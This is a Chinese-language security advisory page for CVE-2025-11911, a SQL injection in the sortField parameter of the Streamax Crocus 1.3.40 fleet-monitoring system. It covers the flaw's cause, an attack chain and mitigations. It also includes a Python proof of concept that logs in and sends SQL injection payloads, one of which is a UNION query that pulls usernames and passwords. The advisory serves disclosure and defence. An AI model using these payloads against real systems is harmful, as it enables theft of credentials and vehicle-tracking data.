IPBUF安全漏洞报告
English
CVE-2025-11911 CVSS 6.3 中危

CVE-2025-11911:Streamax Crocus 1.3.40 SQL注入漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11911
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Shenzhen Ruiming Technology Streamax Crocus

相关标签

SQL注入Streamax CrocusShenzhen Ruiming TechnologyCVE-2025-11911中危漏洞车载监控系统远程利用sortField参数IoT安全车队管理系统

漏洞概述

CVE-2025-11911是深圳锐明技术股份有限公司(Shenzhen Ruiming Technology)旗下Streamax Crocus车载监控系统1.3.40版本中存在的一个SQL注入漏洞。该漏洞位于/DeviceFault.do?Action=Query接口的Query函数中,具体涉及sortField参数的处理逻辑存在缺陷,攻击者可以通过构造恶意SQL语句注入到该参数中实现未授权数据库操作。Streamax Crocus是一款广泛应用于商用车队管理的智能视频监控与远程信息处理系统,主要用于车辆定位、视频监控、驾驶行为分析等场景。由于该系统通常部署在车辆管理平台中,涉及大量敏感数据,包括车辆轨迹信息、驾驶员个人信息及企业运营数据,因此该漏洞的安全风险不容忽视。CVSS 3.1评分为6.3分,属于中危级别。该漏洞可被远程利用,攻击者无需用户交互,仅需低权限即可发起攻击。漏洞的利用代码已公开披露,供应商在被告知该漏洞后未作出任何回应,进一步增加了风险等级。

技术细节

该漏洞属于典型的SQL注入漏洞,产生原因是Streamax Crocus 1.3.40系统在处理/DeviceFault.do?Action=Query请求时,对sortField参数未进行充分的输入验证和参数化处理。攻击者可以通过在sortField参数中注入恶意的SQL片段(如UNION SELECT、OR 1=1等),改变原始SQL查询的语义,实现未授权的数据访问、修改或删除操作。

从技术层面分析,sortField参数通常用于指定查询结果的排序字段,开发者可能直接将用户输入拼接到ORDER BY子句中,而未使用预编译参数化查询或白名单过滤机制。由于ORDER BY子句后的字段名无法直接使用参数化绑定(Prepared Statement),开发者容易忽视对此类参数的过滤,从而导致注入漏洞。

利用方式上,攻击者首先需要访问目标系统的/DeviceFault.do接口,通过Action=Query方法触发查询功能,然后在sortField参数中注入SQL语句。由于漏洞可远程利用且仅需低权限认证,攻击者可以在登录后通过简单的HTTP请求执行任意SQL命令,可能导致数据库中存储的车辆信息、用户凭证、GPS轨迹等敏感数据泄露,甚至通过数据库提权进一步渗透系统。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络侦察确定目标系统为Streamax Crocus 1.3.40版本,通过识别/DeviceFault.do接口确认目标存在漏洞端点。
STEP 2
步骤2:获取认证凭证
由于漏洞利用仅需低权限(PR:L),攻击者通过社工、凭证填充或默认口令等方式获取合法用户账号。
STEP 3
步骤3:登录系统
使用获取的凭证登录Streamax Crocus系统,建立有效的会话连接(Session)。
STEP 4
步骤4:构造注入Payload
针对/DeviceFault.do?Action=Query接口的sortField参数构造SQL注入Payload,如UNION SELECT或基于时间的盲注语句。
STEP 5
步骤5:执行注入攻击
通过HTTP请求将恶意Payload提交至目标接口,触发SQL注入漏洞,执行未授权的数据库查询操作。
STEP 6
步骤6:数据窃取与权限提升
利用注入漏洞提取数据库中的敏感信息(用户凭证、车辆轨迹数据等),并可能通过数据库提权进一步渗透系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11911 - Streamax Crocus 1.3.40 SQL Injection PoC # Vulnerability: SQL Injection via sortField parameter in /DeviceFault.do?Action=Query # CVSS: 6.3 (MEDIUM) import requests # Target configuration TARGET_URL = "http://target-host:8080" USERNAME = "test_user" PASSWORD = "test_password" # Step 1: Authenticate to obtain session session = requests.Session() login_url = f"{TARGET_URL}/Login.do" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) # Step 2: Exploit SQL injection via sortField parameter # The sortField parameter is directly concatenated into the SQL ORDER BY clause vuln_url = f"{TARGET_URL}/DeviceFault.do?Action=Query" # Payload 1: Basic boolean-based injection test payload_basic = { "sortField": "id ASC, (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)", "page": "1", "rows": "10" } # Payload 2: UNION-based injection to extract data payload_union = { "sortField": "1 UNION SELECT username,password,1,1,1 FROM user--", "page": "1", "rows": "10" } # Payload 3: Time-based blind injection for confirmation payload_time = { "sortField": "id; IF(1=1, SLEEP(5), 0)--", "page": "1", "rows": "10" } # Execute exploit try: resp = session.post(vuln_url, data=payload_basic) print(f"[+] Response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:500]}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Shenzhen Ruiming Technology Streamax Crocus 1.3.40

防御指南

临时缓解措施
在厂商发布正式补丁之前,建议采取以下临时缓解措施:1)对/DeviceFault.do接口实施访问控制,限制仅特定IP地址可访问;2)在反向代理或WAF层面配置针对sortField参数的SQL注入检测规则,阻断包含UNION、SELECT、SLEEP等关键字的恶意请求;3)限制数据库账户权限,禁止其访问information_schema等敏感系统表;4)监控数据库日志,对异常的慢查询或错误信息进行告警;5)如非必要,临时关闭/DeviceFault.do?Action=Query接口的功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表